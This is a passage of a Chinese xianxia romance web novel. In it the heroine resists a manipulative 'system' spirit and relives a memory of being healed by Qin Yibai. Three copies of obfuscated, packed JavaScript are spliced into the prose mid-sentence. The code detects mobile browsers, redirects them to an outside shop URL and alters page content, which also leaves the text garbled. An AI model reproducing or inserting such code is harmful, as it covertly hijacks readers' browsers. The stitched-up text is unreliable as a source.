“叫人把这里再打扫一遍吧,记得多熏点新鲜的花香。老规矩,我还要再休息一会,莫教其他人来打扰我。” 侍女诺下。 姜怀盈转身向着室内走去,听着身后门扉关闭的轻微声响和侍女离去的脚步声,脸色轻微一变。 凌乱不成团的血色雾气悬浮在半空中,逐渐幻化出一副和她别无一二的上半身。 美人咯咯笑着伸手,想抚摸她的脸颊,又被姜怀盈侧身躲开。 她冷着声开口:“系统,我和你的交易已经结束了,你为什么又出现在这里?” “我是来给你送信的呀。”美人浑身都是血红色,即便脸庞精致美丽,却有一种说不出的诡异:“都说了妄鬼是从试仙峰秦家的地盘上跑出来的,您还一点都不慌。” “那是秦肆该考虑的问题,不是我该考虑的问题。” “您真的不打算去试仙峰看一眼您的便宜儿子吗?妄鬼肆虐,他万一被哪只不长眼睛的给夺舍了……” “那岂不是更好?”姜怀盈有些不耐:“他若是真的被夺舍,那就是他自己没有本事。夺舍他的也都是秦家的后代,不正合秦肆的意。” 她漂亮的眼睛眨了眨,露出了古怪的笑意:“不管他体内是谁,我的儿子不都只有一个,不对吗?你这次来,难道是为了和我说这些废话的?” 美人不疾不徐地说着:“您还是得去试仙峰一趟,我建议现在就出发。” “为什么?” “第八峰的魂契结界被人彻底加固成功了。一个提着聚灵灯的小姑娘,竟和你那儿子一起,直接解决掉了我的一个未附神识的分身。哎呀呀,真是让我心痛……” “你也会差分身用?我如今乏得很,可没那闲工夫为了一个分身出山。”姜怀盈发出一声冷笑。 “不不不,她手上那盏聚灵灯的手笔……像极了您最讨厌的那位故人。” * “少来骗我!你就和你的主人一个样,大骗子带着一个小骗子。他要真的快死了,怎么还有心思一晚上算计我三次?松手!” 赵轻遥有些气恼。她试图将小织从她的腿上甩下,她连着动了几步,小织却抱得死紧。不仅如此,还一把鼻涕一把泪地哀嚎着,只要赵轻遥一动,就差点全部擦到了她的衣摆上。 赵轻遥尝试了几回,最终选择了放弃。于是她径直蹲到地上,下手毫不客气地点了两下小织的前额: “他刚刚对我做了什么说了什么,你又不是没看到没听到。第八峰的时候你也在,扔来的流光蝶把我唬得团团转。你们两个,就是存心和我过不去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189045|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我刚刚不在你们那里,我是去查妄鬼的事情了。”小织捂着额头抽了抽鼻子,眼泪汪汪:“主人现在情况真的很危险,有人把妄鬼放出来了,就是想要他的命。” “妄鬼说到底,也就是妖兽的一种。魔修可以吞噬妖兽,我也见识过他的本事。怎么之前行,现在就不行了?” “他可以吞噬其他的妖兽,但绝对不会去吞噬那些妄鬼的。” 小织很是着急,磕磕绊绊地说着:“但若是此事没有得到解决,家主和夫人最先怀疑的肯定是主人。主人到时候麻烦就大了,若被查出来他是魔修,他真的有可能会死掉的……” 秦倚白会因为这种事情死掉?简直无稽之谈。 要知道,他前世可是在仙灵界所有正道仙门的追捕下,潇洒自在地当了好几年魔主,还顺口把秦家的漏网之鱼收拾了个干净。 他如今虽说身体年轻了十来岁不太能控制得住魔气。但以他重生归来的头脑,绝对不可能那么轻易地折在别人手里。 赵轻遥觉得有些好笑,伸手弹了弹小织的头:“你也太对你的主人没有信心了。他本领大着呢,现在又是你们家主的心肝大宝贝,怎么会死掉呢?” “秦家的少主确实不会死掉。”小织擦了一把眼泪,越说越小声: “但我的主人会死的。” 赵轻遥有些愣住。 她突然就想起了离开第八峰时,秦倚白对他说过的话: “但我还是要告诉你一个秘密。我会死掉,可秦倚白永远都不会死。” 她当时并没有把这句话放在心里。可如今回想起来,竟是有另一重令人毛骨悚然的含义。 心中那层猜想缓慢露出了叫人胆战心惊的真面目。赵轻遥极速地思考了一下,斟酌着开口:“在你的主人之前,还有过多少个秦倚白?” 小织摇了摇头:“不记得了,应该有过很多……” 它的目光逐渐有些放空,目光望向了那棵伴着妄鬼出现的榕树,声音细如蚊鸣:“秦家最喜欢种榕树,一棵又一棵地接着种,每个地方的宅邸都要种上一棵。” “可榕树的地下,真的好黑……” “小织?小织?你没什么事吧?”赵轻遥伸手,在它的眼前晃了晃,却没见到它有丝毫的反应。 就整个灵傀僵住了一样。 事情发生得太多太乱,她关注小织的状况关注得太过认真。自然也没有看到,一只妄鬼悄无声息地从地里钻了出来,紧贴在她的身后,对着她的脖颈伸出了双手。 一切发生得太快太突然,等到逢春剑骤然嗡鸣起来时,赵轻遥才注意到身后的敌人。 就快要来不及了! 风声骤起,逢春剑光出鞘,却始终晚了一步。 那双扭曲的双手,在即将要捅穿她的喉咙时,却突然顿住。 唰—— 另一道血红色的剑光,先落了下来。血红色的剑从天而降,砍断了那双手。 妄鬼后退几步,不敢置信地望着自己的断手,嘴里咕噜咕噜地消失不见。 赵轻遥后退一步,警惕地望着来剑,不动声色地将僵在原地不动的小织摁进了自己的袖子里。 金色的线条抖了几下,最终形成了一个杂乱无章的图案。 有点丑,但好歹藏起来了。 从天而降的剑很快消失不见,一片血红色的雾气于空中突然浮现。它对着赵轻遥,发出了一阵咯咯咯的笑声:“又见面了,赵姑娘。” 又是这个家伙。 赵轻遥不动声色地点了点头:“又见面了,系统。” 32.你我(三) 短暂的沉默后,系统悠悠开口:“你这回总该信我说的了吧,黎明珠对你动了杀心。” 凉风吹拂,送来一股妄鬼身上独有的腥气。系统深深嗅了一口气,继续说道:“她要杀你,是不择手段的,甚至不惜牵连到无辜的旁人。” “而我,是真的想要帮你。为什么不会愿意和我做个交易呢?” 它这次说话的语调格外奇怪,像是拉长了的甜腻糖丝,丝丝缕缕灌入耳膜中。仿佛只要顺着它的话做下去,便什么都不用思考了。 赵轻遥有那么一瞬间的怔神。天脉处猛然传来的滚烫热意,却直接将她震醒。 这个东西会用言灵! 言灵乃上古禁术,早已失传多年。被施咒者会在施咒者话语脱口的瞬间,无条件地相信其所说的话。 但言灵也并非对所有人有效。天脉十境即以上的人,不会受到的言灵的蛊惑。 若不是在第八峰莫名地升境,此刻她即有可能已经答应了这个系统的要求。 她今生没有参加剑道大会的资格,天脉境界也因此并未曝光在大众面前。但系统却敢直接对她使用言灵,只能说明一件事—— 它直接确定了她的天脉境界,很有可能非常地了解她,一开始便是冲着她来的。 而且,它一定是知道上一世发生的事情。 这份猜想并非毫无理由。黎明珠的出现,简直是坐实了这个想法。 一切突然便说得通了。赵家前世的毁灭,也必定和它有关联。 为什么她前世的记忆中从来都没有出现过这个东西?如真如秦倚白所说的失忆,那她的记忆到底缺失了多少? 涔涔细汗从后背上冒了出来,赵轻遥的手轻微颤抖着,竭力让自己保持着镇静。敌暗我明,至少此刻,不能让系统看出来她不受言灵的影响。 “好啊。”她的嘴边却挂上了清浅的微笑:“你想要怎么帮我?” 黎明珠应该不是自己想要杀她。她有本事把秦家地底下的妄鬼都放出来,却能被无色虫吓得花容失色,还差点被秦倚白一箭射死。 根本不合理。同一个人的实力不能、也总不该在一夜内有这么大的反差。 如果是装得,那装得也太像了些。 “你让我住进你的识海中,我会把我无尽的力量分给你,你只要愿意使用我的力量,便能保护你自己——” 系统顿了顿,吐出了没有用言灵的下一句话:“和你最重要的人。” “不仅如此,你还可以知道你母亲的过往。” 系统果然很了解她,后面这两句话根本用不到言灵。无论赵轻遥有没有重生,这些都是让她没有办法拒绝的理由。 只是它提出来的要求嘛…… 赵轻遥于内心冷笑一声。识海乃全身灵脉汇集之处,也是神识的停歇之所,可谓是修士最脆弱的地方。系统要真住进来,想要控制她的行为和思维,那简直是轻而易举。 但在没摸清系统所说的力量到底有多强前,她不能贸然拒绝。 在现在记忆残缺的状况下,和这个东西比拼前世的记忆,估计没有什么胜算。她手中的筹码不多,但最沉的只有一个。 系统或许并不知道她和秦倚白的重生之事。 赵轻遥的眼光停滞了极其短暂的一瞬,便很快绽放出了惊喜的神色:“我愿意,只是……” “只是什么?”系统有些急迫。 她抿了抿嘴,犹犹豫豫地侧过身去,指向了客房的方向: “妄鬼祸乱,我得先去救一下我的朋友。你说你有无穷的力量,不如就让我见识一下你的本事。等我的朋友被带到了安全的地方——” 她再次转头,笑盈盈地看向系统:“我的识海自然就随你进入。” 这个麻烦,已经不是她自己能解决的了。秦倚白骗了她那么多次,也得容许她拿他当一下靶子。 她现在也需要一个帮手。 “赵姑娘,你可以不信任我,但撒谎也不是像你这样找借口的。” 漂浮着的红色雾气颤抖了一下,系统很是不满地叹了一口气:“秦家的少主把你关进了地牢,怎么会和你做朋友呢?若是他这样对你,你都把他看作朋友,那也太不值得了。” “没什么值不值得。” 赵轻遥坦然笑了笑,又似是苦恼地低下了头:“你应该知道,一见钟情,是一件很麻烦的事情。” * 黎欢迷路了。 系统从她的识海中离开前叮嘱过她,前往第七峰另一侧的比试场,那里有人短暂地撑起了阻挡妄鬼的结界。只要她过去,就会安全。 她也着实没有想到,仅仅只是用系统的力量砸开了秦家地牢房间后的圆弧状的墙,便能释放出如此多的妄鬼。 妄鬼真的会有机会杀掉赵轻遥吗? 她不太明白是怎么回事,心中却始终不安。本来想用系统给她的传送符直接到比试场处,但思来想去,却还是决定自己亲眼看看情况。 悄悄地,反正系统也不在。 系统说过,只是放出几只妄鬼而已,没有那么严重,但她却总觉得心中不安。 她将传送符揣在袖中,一路谨慎地沿着黑暗处前行着。直到亲眼目睹,一只四肢扭曲的妄鬼,扑倒了晚餐时曾接待过她的一位侍从。 “救、救我……” 侍从见到了缩在黑暗处的她,瞪大着双眼望过来,却没有得到任何的答复。随着妄鬼的身体逐渐虚化,侍从的眼神也从惊恐逐渐变为了麻木。到最后摇摇晃晃地起身时,竟对她露出了一个诡异的微笑: “谢谢。” 黎欢死死捂住自己的嘴,才没有让自己尖叫出声。 她上一世是个普通的外门弟子,没有过与妖兽面对面的经验,更未曾见过这样的场面。她有着心高气傲的幻想,自诩会比上一个黎明珠做得更好,可眼前的人,却是因她而死。 她忽然害怕地意识到,自己好像做错事了。 妄鬼占据的侍从身体依旧在似笑非笑地看着她,仿佛在感谢她的见死不救。 “你、你——”她几乎是鼓足了勇气,从原地蹦了起来:“你从他的身体里,滚出去!” “滚啊!”她这次没有在乎黎明珠的形象,用尽了全身力气大喊着。生理性的泪水从她的眼眶内飙出,有沿着脸颊滚滚滑落。 夺舍应该还没有完全成功,她分明看到,侍从的身侧还有一个极其难辨的黑色轮廓的透明身影。 黎欢忍不住地颤抖了起来。 她和黎明珠一样,是符阵双修。在修道门路众多的仙灵界,这并不算什么特别强的招数。前世学习的外门最基础的术法绝对无法对应这个妄鬼,今世入门时间又尚浅,根本没学到什么东西。 但她没有什么退路了。 她近乎是视死如归地握住了手中的青羽笛,没有用任何的阵法和符法。只是用尽了全身的灵气,努力砸向妄鬼快要透明的身影。 只那一瞬,侍从本眯起的双眼中,露出来极其震惊的神色。他似被人强迫般张大了嘴,呕吐出来了一团黑色的影子。随后身体一歪,软绵绵地倒了下去。 黎欢还没来得及惊讶于自己的力量。被吐出来的黑影快速集结,重新变化为她刚刚见过的妄鬼模样。嘴中吐出了咕噜咕噜的声音,扭转头颅的方向,重新向着她扑来。 也就是在此刻,巨大的黑色蛇尾从身后破屋而出,几近擦着她的头皮飞过。 人身长的蛇脸猛然窜出,嘶嘶地吐着信子,一口吞噬掉了面前的妄鬼。 大量的明镜花瓣从破碎的房屋中飘出,飘逸的香气瞬间盈满了一大片区域。黎欢躲得及时,结结实实在地上滚了几圈。直到看到站在蛇身上的少年时,又差点落下泪来。 系统离开了她的身体,她此刻自然也没有了万华之眼的力量,看不到任何的信息。本来挂着条状好感度的地方变成了灰蒙蒙的一片雾气。透过这些迷蒙的雾气,她看到少年的脸上没挂着什么好脸色。 汹涌的魔气压过了花香,几乎让她窒息。 和梦中误闯不言阁后山时感受到的魔气,几乎一样。 “师、师兄……”她哆哆嗦嗦地喊出了声。 她只听说过失去理智的魔修的样子,却未曾亲眼目睹。可眼前师兄的模样,和她曾经听过的故事里,那些失去理智的魔修没什么两样。 他的双目泛起了极不正常的血红色,已经失去了往日里的清明与理智。 取而代之的,是克制不住的杀意。 和她记忆中的模样,判若两人。 怎么办,怎么办?黎欢的脑中无数道办法闪过,却只能想起她的那个诡异的梦来。之前的那个黎明珠,应该能压制住师兄身上这些奇怪的魔气。 但她不是啊!系统也根本没有教过她这些。 少年面无表情地望向她,偏了偏头,周身翻涌的魔气更盛了一些:“她最后的气息,出现在了你这里,所以我只问你一遍。” 巨蛇骤然扭头,巨大的阴影笼下,罩住了黎欢有些颤抖的身影。 “你把赵轻遥带到哪里去了?”嗓音沙哑寒凉,带着隐隐的威胁之意,昔日的平静温和早已消失殆尽。 “我、我……” 黎欢磕磕巴巴地蹦出了一个字,不断地向后退着。两张传送符从她袖中飘落而出,淡淡微光一闪而过。 那是一个极不起眼的“遥”字。 * “我说过了,我的本领很强大。等我住进你的识海中,你有了这些本事,还有什么是做不到的?你喜欢秦家少主,我自有一万个办法让他乖乖跟随你。” 系统化作了一朵凤凰花的图案,蜷缩在赵轻遥的眉骨处,依旧喋喋不休地念道。 嗯,这句话依旧用了言灵。 赵轻遥并没有急于回答系统的话,只是细细打量着面前的一切。 她以秦倚白为靶子拒绝了系统现在就入她识海的要求,但却又要系统给她展露一手它的本领。几番拉扯后,系统最终选择了寄宿在她的眉骨上。 系统附上身后,赵轻遥重新睁眼时,眼前所呈现的,便是一个她从未见过的世界。 黎明珠所见到的世界,也是这样的吗? 这也太离谱了。 “万华之眼所看到的世界是这样的?”她开口问到。 整个世界,仿佛都能被这只眼所看穿,所有的秘密都几乎无处遁形。仅粗略一眼扫过去,她便即刻看到了隐于地下的几只妄鬼被描绘出的边框。 赵轻遥敢确信,即便是此刻仙灵界感官最敏锐的修士来和这只眼比拼,也会败下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212487|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵来。 更别提漂浮在空中的好感度条、人物身份等其他一堆乱七八糟的东西。 她大概清楚黎明珠为什么能拖着一副近乎没修炼过的身躯,躲过无色虫的几次攻击了。 赵轻遥思及此处,心中一沉。如果黎明珠和系统什么都能看到,那到底还有什么秘密是能瞒得住他们的? 系统诡异一笑:“我给你展示的,是万华之眼的最高形态。我在世间活了很多年,也服从过很多个主人,几乎没有人能解锁到万华之眼的最高形态。” “解锁?” “我不会无缘无故地给别人看这个东西,你是我唯一的例外。”系统又开始用言灵叽里咕噜地说话了。“其他人,都是需要慢慢做任务,积累积分,才可以解锁的。” 赵轻遥顿下脚步,略感奇怪地揉了揉脑袋。 这些词汇,她明明从来都没有听说过,却并不觉得陌生,仿佛她生来便该知晓这些事情一般。 “任务一般都是些什么?” 系统大言不惭:“一般来说,任务嘛,是被我附身那个人的美好愿望。像黎明珠的愿望嘛……” “杀掉我?”赵轻遥接上了话。 “不不不,那不算美好愿望。她的任务,你知道了定会生气的。” 赵轻遥觉得有些好笑,不禁撇了撇嘴:“你爱说不说,我有什么好生气的。” “真的吗?”系统的声音带上了尖锐古怪的笑意,让人一听便冒起鸡皮疙瘩:“她的任务呀,就是让秦家的那位少主喜欢上她啊。” 一句“关我什么事”几欲脱口而出,在赵轻遥的嘴边打了几个转,又被生生地咽了下去。 她差点忘了,刚刚才对系统说过,自己对他一见钟情。 倒给自己埋了个深渊巨坑。 要是真的一见钟情,还不如给她一剑来得痛快。 秦倚白惯会用外表骗人,走到哪里都有人喜欢他这样的少爷,所以她一点都不奇怪。但心头那股说不清道不明的不痛快却如云雾般涌起,她努力压下几次未果,最终只能冷淡地吐出来一个字: “哦。” 才不关她的事。 * 方才与秦倚白分别的客房,已近在眼前。 院内的大火已经熄灭,却已在地面上留下了斑驳丑陋的黑痕。赵轻遥看了一眼,便匆匆跨过。 也不知秦倚白现在还在不在这里,希望他已经把郑玄的头收拾好了。 她走至房门前,欲伸手推门,却只觉方才把小织笼入的左袖中,传来了一种奇怪的触感。 像是有什么东西在她撒开的袖子里扑腾。 她不动声色地将左手往袖子里缩了缩,却在摸到那个东西时,险些炸毛。 这小家伙刚刚魂不守舍的也没反应,系统又在这里,本就该好好藏起来的时候,为什么在这种时候把流光蝶放出来? 她动作灵敏,几下阻挡住流光蝶想要往外飞的舞步,将其轻轻地攥在了掌心之中。 “秦家的少主在这里?”系统发问道。 “我不确定。”赵轻遥还在与掌心的流光蝶作斗争,右手放在房门上,迟迟未开。 她也就是在此时,闻到了一股明镜花的花香。 从与她来时之路相反的另一个方向而飘来。这种传说中能让人想起遗失记忆的清新花香,在遍布烧焦味和妄鬼腥臭味的空气中,显得格外明显。 流光蝶在她的掌中挣扎得更为激烈了。 可再不进去,系统可能便要生疑了。赵轻遥没有再犹豫,直接推开了房门。 踏入房中的那一刻,天旋地转,也不过如此。 光影重叠变幻,她眼前所见的世界以一种不可思议的方式折叠了起来。无数星海从她的身边掠过,划向远方。 最后一颗星星落下时,世界终于停止了旋转。 赵轻遥的第一个反应,便是她竟然是趴在地上的。 周身的空气潮湿闷热。但冰冷湿凉的石路,还是让她打了个寒颤。 第二个反应,是她的眼前,糊满了干涸的鲜血和湿淋淋的水珠。 看到的世界有些模糊不清,但唯一确定的是,已经没有万华之眼了。 第三个反应,是痛。 剜心刺骨的疼痛,遍布了四肢百骸。不仅如此,她才升了十境的天脉变得破碎不堪。体内原本属于剑骨的地方,也变得空空荡荡。 不对劲,不对劲。 她努力地想要抬头看清眼前的世界,但却连伸手擦一眼双眼上的血渍的力气都没有。 流光蝶从她的掌心挣扎而出,翩翩飞舞了几圈,落到了几步之外的一双银靴上,又继续向上飞去。 少年蹲下身,从她完全湿透了的鬓角开始理起。 鬓角、前额、眉梢…… 他的动作细致而耐心。微凉的指尖拂过她的眼睫时,极其细微的痒意让赵轻遥忍不住地颤抖了一下。 她再次看清了来人那张俊美到恍如神像降临般的脸庞,和那双与入魔时截然不同的、乌黑漆亮的双眸。 和她重生第三天时做过的那个梦,几乎重叠。 少年平静柔和的声音,遥远地像是从另一个时空传来的。 他说:“明珠师妹,不如和我说说,你今夜是去了哪里呢?” 33.你我(四) 蒸腾的水汽是向上飘浮的,密道中的空气并不能很好地流通。雨后黏腻闷热的气息混合着鲜血的腥气停滞在空中,让人的思绪也变得沉重了起来。 赵轻遥只觉得呼吸有些困难。 前生今世的记忆纷沓而来,在她的头脑中混成一片。神识和魂魄明明还在体内,却已经无法控制自身的行动。 唯有此刻身体上的疼痛提醒着她,这一切都是真实发生的事情。 赵轻遥艰难地从疼痛中抽身,飞速思考着眼前的情况。 在第八峰时与秦倚白走散时,她也曾被流光蝶带着引路,走到过极其相似的幻境中。当时一度以为是地仙设在此处的桃源阵。可如今想来,她当时以为的幻境,应是她原本的记忆。 流光蝶引人找回丢失之物,明镜花让人回想起昔年往事。两者遇到一起,也不知是什么原理,会让她被卷入曾经丢失的记忆中。 只要强行夺回身体的控制权,让事情的发展偏离记忆原有的模样,便可离开此处。 回忆起了破解之法,赵轻遥便突然不着急了。她不介意多了解一下,自己和秦倚白之间到底发生过什么。 免得他知道得比她多,又开始发一些莫名其妙的疯。 “你是专门来看我笑话的?”赵轻遥没有抗拒身体的自主行动。良久,方听到自己沙哑且颤抖的声音微弱地响起。 这人在这里出现,指定没安什么好心。但倒霉之处就在于,她现在连骂人的力气都不剩什么了。 只是话刚脱出口,她便觉得事情有些不对劲。 秦倚白微凉的手指仍轻轻点在她的眉间,并没有半分挪动的迹象。 丰沛而强大的灵力从眉间汇入,化为极其温和的灵气暖流,沿着经脉流向四肢百骸。剧烈的疼痛在暖流的冲刷下停歇了一瞬,又缓慢地重扑而来。 灵气疗伤不是不行,只是她现在伤得实在是太重了。即便再多的灵气汇入身体,也不过杯水车薪。 秦倚白似乎也意识到了这一点,很快地便松回了手。 赵轻遥的身体完全没有放松,一动也不懂地绷紧着下颚,试图警惕地盯着来人的动作。但又碍于眼前模糊一片,只能看到他背过身去,又很快地转过来身来,重新蹲到了她的身侧。 她正要发问,便直接被人一把拽着背后的衣领往后坐去,靠在了身后的石壁上。石壁上尚挂有水珠,冰凉滑腻,她用尽全身力量刚要坐稳,转头便被一只冰凉的手托住了下巴。 五官似被精细雕琢般的绝世面庞靠近了过来,投下一块覆盖在她脸上的阴影。因为凑得太近,赵轻遥甚至能闻到他身上传来的清冽微涩的气息。 很难形容那是一种什么样的味道,像料峭寒风拂过早春新芽时的寒冽草木香,又带着些许常年浸染在神像前的淡淡香火气。 那时秦倚白还未成为魔修时的气息。 赵轻遥差点被此情此景震得失去了所有的理智。赶紧夺回自己身体,从这段回忆中赶快出去的想法在此刻达到了顶峰。 说来也奇怪,她上次陷入回忆时,用的是天脉和剑骨都存在的今世的身体。而这次陷入回忆时,用的却是天脉尽碎的前世的身体。 她尝试着控制手指,试图抢夺身体的控制权,但一切似乎已经有点迟了。 下一刻,便眼见着少年星眸微敛,淡淡地开口:“张嘴。” 张嘴? 这人即便要给她投毒,也未免太嚣张了些。 赵轻遥甚至能感受到此刻这幅前世的身躯上传来的不敢置信的情绪。 以及她从不知道自己的牙关还可以咬得那么紧。 她很想骂人。但现在别说张嘴,便连一个字都不敢往外蹦,生怕被人趁虚而入喂了什么不该喂的东西。 两人的目光交锋片刻,各不相让。 “早就该料到你不会老实的。”秦倚白叹了一口气,放弃了对她下巴的掌控,似是选择了放弃。 两人间诡异的气氛被打破了一些。赵轻遥偏过头去不看他,依旧保持着警惕的沉默。 “只是师妹啊,杀人和逃跑都是要讲究技巧和方法的。我是真的没想到,你会把你自己弄成这副惨样子。” 看似真挚又诚恳的话轻飘飘地落下,但落到赵轻遥耳中,那又是另一番意味。 赵轻遥闭了闭眼。 这关他什么事?忍。 “你出发前虽服用过浮妄草,但它能修复天脉的时间早已过了。剑骨已毁,却又被逼着强行启用剑阵逃生。内里损耗过于严重,你这副身体估计也废得差不多了。以后就算想向我请教剑法,也没什么机会了。” 他的剑道魁首都是趁人之危抢得她的,她还要向他请教?再忍。 “若不是我是算准了浮妄草失效的时间后过来,你甚至有可能把小命搭在这里。” 能把跟踪二字说得这般冠冕堂皇?再忍忍。 “说起来,你得感谢我才是。” 是可忍,孰不可忍。 “你放——” 赵轻遥猛地转过头,宛如一只炸毛了的猫。最后一个脏字还未脱出口,下颚便被人眼疾手快地再次捏住,没有再给她咬紧牙关的机会。 禁制的威压骤然沉下,方才还环绕在他周身温和的灵气骤然变得锋利了起来,直接控制住了她蠢蠢欲动想要反击的双手。 “得罪了。”他平静地说。 好一个激将法,赵轻遥后知后觉。 复仇本就是一件需要忍气吞声的事情。其实除却十六岁前心高气傲的那么几年,她后面基本上已经对激将法免疫得差不多了。 但只因为使出这招的那个人是秦倚白。 这下好了,全破功了。 她被秦倚白这一套行云流水般的动作摁得说不出话,只能睁大了双眼,怒目直视。 他不是说她曾在他体内留下过情蛊吗?等她从这段该死的回忆里出去,弄清楚那东西到底怎么用的,他就完蛋了。 赵轻遥不开玩笑,他绝对、绝对完蛋了! 被人钳制住的每一分每一秒,都很漫长。直到冰凉柔软的异物缓缓探入她口中时,她此刻本就不灵活的身躯,不由得僵了又僵。 那是不是别的东西。 是他刚刚抚过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254838|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眉梢的手指。 她下意识地想要躲闪,却被迫直视着他平淡的眉眼。口腔中残留着的干苦血腥味还未彻底散去,冰凉气息的袭入,方让她感知到自己的唇舌烫得有多吓人。 他的手指给她的感觉很奇怪。方落在她眼睫上时是觉得痒,但此刻入侵到她口中时,她却觉得—— 甜? 手指摁在了她仍在不安分滑动的舌面上,静静地停留在了喉咙前端,并没有更多冒昧的动作。 更多黏腻的甜意刚刚从他的指尖涌出,她还未来得及尝到更多的味道,便顺着喉咙径直落了下去。 明明只停留了短暂几秒的时间,却好似有一炷香那般漫长。 带着潋滟血色和水光的手指很快抽离了她的唇畔,下颚上的禁锢终于被松开。喉咙间控制不住的痒意向上传来,赵轻遥刚轻咳了一声,又被人直接捂住了嘴。 “不许吐出来。”秦倚白的声音无奈,却又似带了一丝咬牙切齿。 奇异的心跳连带着憋闷、愤怒、委屈一同涌上头来。她扒拉着他的手臂,想将人推远却无果后,几乎是想也没想,狠狠地一口便咬到了那只手上: “我没想吐出来!” 赵轻遥近乎是发泄般地大喊出声,却又猛烈地咳嗽了起来。最后一丝甜意从喉咙的尽头消失时,遍及全身上下的锥心疼痛便也减缓了许多。 她甚至能听到,体内传来的血肉滋滋生长的声音。 脱力的身体感受到了前所未有的疲惫,她径直地沿着石壁向下滑去,却又被那只被她咬了一口的手直接捞了起来。创口极深的牙印中有鲜血淌出,却又很快干涸结痂。 手的主人蹙着眉头想看她,欲言又止。 第八峰内,她曾见识过了秦倚白的恢复能力。本以为这份能力是源于他的魔修身份,但现在看来,是源于他的血液。 但这些,都是此刻前世的她未曾知晓的事情。 生理性的泪水不受控制地从她的眼角溢出,又顺着面庞逐滴地滑落。起先是无声的抽泣,到最后演变成了一场痛哭。 赵轻遥其实是不太愿意在秦倚白的面前露出这般狼狈的神情,却又奈何今生的神识还是无法控制前世的身体,她便也只能眼睁睁地看着自己的泪水决堤而下。 她不想承认,却其实比谁都明白,前世十六岁的自己为什么会哭。 太累了,太不甘了。 自决意成为黎明珠的那一天起,她便发誓过不会把眼泪掉到璇云仙宗,更是做好了随时踏上绝路的准备。 只可惜今生的她,不能给前世的她一个拥抱。 “秦倚白,你都知道些什么?” 她再次听到自己带着浓浓鼻音的声音响起,连名带姓地唤着秦倚白的名字,而不是再叫他那一声师兄:“你猜到了我到底是谁,又知道了我的秘密,可为什么会来救我?” “我如今已经没有什么可以再失去的了。如果我死在这里,仙盟、秦家都会很高兴。但如果我活着出去了——” 她擦拭掉眼庞的泪水,双目通红地望向他:“我迟早会把你和秦家的人都杀了的。” 34.你我(五) 秦倚白本伸手护着赵轻遥不要往地上滑去。但她的话一脱口,他的动作便直接停顿住来。 方才还算沉静漂亮的黑眸中骤然翻腾起来。如夜雨落水,搅乱了一池明亮的月色。 他似对这句话有些疑惑,又似在努力回想着什么,面庞上也浮现出了一丝奇怪的神色。 赵轻遥哭出来之后,身体中崩溃的感觉消减了不少。 情绪已平复得差不多了,她正在用手背擦了脸颊上的最后一把泪。抬头望见秦倚白这副模样,不由得转过头去哼了一声。 他莫不是心虚了。 她没有再等秦倚白的回答,自己扶着石壁摇摇晃晃地站了起来。他的血不知为何那般管用,这副刚刚重伤到快要破碎的身躯,竟正以着一种奇迹般的速度愈合着。 虽然痛还是归痛的,但好歹能自己动几下了。 她一瘸一拐地向着密道深处走了几步,又想起了一件事,转头望向还蹲在原地的秦倚白: “你这次救过我一命,若是想去师尊面前揭穿我,就尽管去好了,我不怪你。但只要我还活着一天,就一定会去复仇。不管用什么手段,什么方法。” 她停顿了一下,继续说道: “所以在此之后,大家还是继续当敌人比较好。” 今世的赵轻遥对自己的回答很是满意。她能对秦倚白说出还算真诚礼貌的话,已经算是她仅剩的风度。 只是秦倚白听完,却还是没有什么太多的反应。 他仍保持着方才的姿势待在原处,低头看着手背上已经结痂了的牙印。变化万分的浮动光影投在他的侧颜上,让人着实猜不透他在想些什么。 不回答就不回答吧,她反正可以从回忆里出去后再问。 赵轻遥倒觉得无所谓。她背过身去,没有再理会秦倚白。 身体会自己动,她也懒得看路。反正这里也是回忆幻境,不会有更多的危险发生。 她一边慢慢地走着,一边在心中盘算着出去后要做些什么。 秦倚白知道的回忆明显比她要多,等她出去后摆脱了那个该死的系统,再来好好问问他,这个时候到底在想什么。 至于其他的事情…… 她专注地回想着秦倚白和她说过的那些匪夷所思的话,思绪早就飘到了千里之外。待到寒冽的草木冷香猛然从背后拥来时,她甚至还没反应过来发生了什么。 一股巨力将她拦腰向后揽去,天旋地转,眼前的景象骤然一换。 少年垂眸看她,眸光有些冷淡。昳丽精致的面庞上没有什么过多的表情,唯一双剑眉微微蹙起。 她直接被他横抱了起来。 几缕乌发随着他的动作从肩头滑落,轻轻地扫过她的脸颊,有点奇异地发痒。 大约是背着光的缘故,他肤色透露出一种比往日里更亮几分的苍白。一双手仍是冰冷的,紧贴着她身体轮廓的身躯却是微烫的。 “放开。”赵轻遥脑中轰地一声炸开一阵白光,便连声音都带着些微的颤抖。 她实在不愿相信眼前所见的一切都是曾经发生过的。 